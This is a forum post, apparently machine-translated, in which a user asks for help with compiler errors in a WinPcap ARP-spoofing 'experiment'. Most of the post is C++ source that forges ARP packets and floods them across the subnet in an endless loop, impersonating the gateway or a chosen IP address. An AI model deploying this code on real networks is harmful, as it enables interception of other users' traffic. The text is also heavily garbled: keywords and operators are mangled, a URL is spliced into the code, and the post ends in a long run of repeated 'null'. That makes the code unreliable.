Home > Back-end >  Arp deception experiments, based on winpacp compiler has been wrong, you can look it?
Arp deception experiments, based on winpacp compiler has been wrong, you can look it?

Time:09-18

Error: d: \ wpdpack_4_1_2 \ wpdpack \ include \ pcap h (45) : warning C4182: # include nesting level is 362 deep; Possible infinite recursion
D: \ wpdpack_

//ARPSpoofing. CPP: defines the entry point of the console application,
//
#include
#include
#include
#include
#include
#include
#include
# include "ArpSpoofing. H"

using namespace std;

Unsigned char * MAC;//the native MAC address
Unsigned char * fakemac;//being deceived the host MAC address
Unsigned char * gatewaymac;//gateway MAC address
Unsigned long FakeIp;//to the IP address of the disguised as
Unsigned char * packet;//the ARP packet
Unsigned long netsize;
Unsigned long net;
Pcap_t * adhandle;//a pcap instance

Struct EthernetHeader
{
U_char DestMAC [6].//destination MAC address 6 bytes
U_char SourMAC [6].//the source MAC address 6 bytes
U_short EthType;//a layer protocol type, such as 0 x0800 represents an IP, 0 for arp x0806 2 bytes
};
Struct TcpHeader
{
U_char SrcPort [4].
U_char DesPort [4].
};
Void transMac (char source [], u_char * dest)
{
Short I;
Int sourceLen=strlen (source);
Unsigned char highByte lowByte;
for (i=0; i {
HighByte=toupper (source [I]);
LowByte=toupper (source [I + 1));
If (highByte & gt; 0 x39)
HighByte -=0 x37;
The else
HighByte -=0 x30;
If (lowByte & gt; 0 x39)
LowByte -=0 x37;
The else
LowByte -=0 x30;
Dest [3] I/=(highByte & lt; <4) | lowByte;
}
}
/* *
* get the network card MAC address
* pDevName nic device name
*/
Unsigned char * GetSelfMac (char * pDevName)
{
The static u_char MAC [6];
Memset (MAC, 0, sizeof (MAC));
LPADAPTER LPADAPTER=PacketOpenAdapter (pDevName);

if (! LpAdapter | | (lpAdapter - & gt; HFile==INVALID_HANDLE_VALUE))
{
return NULL;
}

PPACKET_OID_DATA OidData=https://bbs.csdn.net/topics/(PPACKET_OID_DATA) malloc (6 + sizeof (PACKET_OID_DATA));
If (OidData=NULL https://bbs.csdn.net/topics/=
{
PacketCloseAdapter (lpAdapter);
return NULL;
}
//
//Retrieve the adapter MAC querying the NIC driver
//
OidData - & gt; Oids=OID_802_3_CURRENT_ADDRESS;
OidData - & gt; Length=6;
Memset (OidData - & gt; The Data, 0, 6);
BOOLEAN Status=PacketRequest (lpAdapter, FALSE, OidData);

If (Status)
{
Memcpy (MAC, (u_char *) (OidData - & gt; The Data), 6);
}
Free (OidData);
PacketCloseAdapter (lpAdapter);

Return the MAC;
}

/*
* encapsulated ARP request packet
* source_mac source MAC address
* srcIP source IP
* destIP destination IP
*/
Unsigned char * BuildArpPacket (unsigned char * source_mac, unsigned long srcIP, unsigned long destIP)
{
The static struct arp_packet packet;

//destination MAC address is the broadcast address, FF FF FF FF FF - - - - FF
Memset (packet. Eth. Dest_mac, 0 XFF, 6);
//the source MAC address
Memcpy (packet. Eth. Source_mac source_mac, 6);
//upper protocol for ARP, 0 x0806
Packet. Eth. Eh_type=htons (0 x0806);
//hardware type, Ethernet is 0 x0001
Packet. Arp. Hardware_type=htons (0 x0001);
//the upper protocol type, IP is 0 x0800
Packet. Arp. Protocol_type=htons (0 x0800);
//hardware address length: MAC address length of 0 x06
Packet. Arp. Add_len=0 x06;
//protocol address length: IP address length of 0 x04
Packet. Arp. Pro_len=0 x04;
//operation: ARP request 1
Packet. Arp. Option=htons (0 x0001);
//the source MAC address
Memcpy (packet. Arp. Sour_addr source_mac, 6);
//the source IP address
Packet. Arp. Sour_ip=srcIP;
//destination MAC address, fill 0
Memset (packet. Arp. Dest_addr, 0, 6);
//destination IP address
Packet. Arp. Dest_ip=destIP;
//fill data, 18 bytes
Memset (packet. Arp. Padding, 0, 18);

Return (unsigned char *) & amp; Packet;
}


DWORD WINAPI arp_proof ()
{
While (1)
{
For (unsigned long n=1; N//the ith the IP address of the host, the network byte order
Unsigned long destIp=net | htonl (n);
//build fake ARP request packet, reach the purpose of this machine is disguised as a given IP address
Packet=BuildArpPacket (MAC, FakeIp destIp);
If (pcap_sendpacket (adhandle, packet, 60)==1)
{
Fprintf (stderr, "pcap_sendpacket error. \ n");
}
Unsigned long destIp2=net | htonl (1);
Packet=BuildArpPacket (MAC, destIp2 FakeIp);
If (pcap_sendpacket (adhandle, packet, 60)==1)
{
Fprintf (stderr, "pcap_sendpacket error. \ n");
}
}
Sleep (1000);
}
return 0;
}

Int main (int arg c, char * argv [])
{
Arg c=2;
//argv [0]="192.168.0.1";
Argv [1]="172.20.10.2";
Pcap_if_t * alldevs;//all card list
Pcap_if_t * d;//a nic
Int inum;//the user to select the network card serial number
int i=0;//loop variable
Char errbuf [PCAP_ERRBUF_SIZE];//error buffer
//unsigned char * MAC;//the native MAC address
//unsigned char * packet;//the ARP packet
//unsigned long FakeIp;//to the IP address of the disguised as
Pcap_addr_t * pAddr;//network card address
Unsigned long IP;//IP address
Unsigned long netmask.//subnet mask
Struct pcap_pkthdr * header;//the received packet head
Const u_char * pkt_data;//the received packet content
Int res;//indicates whether or not the received packet
Char filters [100]="not arp";
Struct bpf_program fcode;
/* from a parameter list to the IP address of the camouflage */
If (arg c! nullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnullnull
  • Related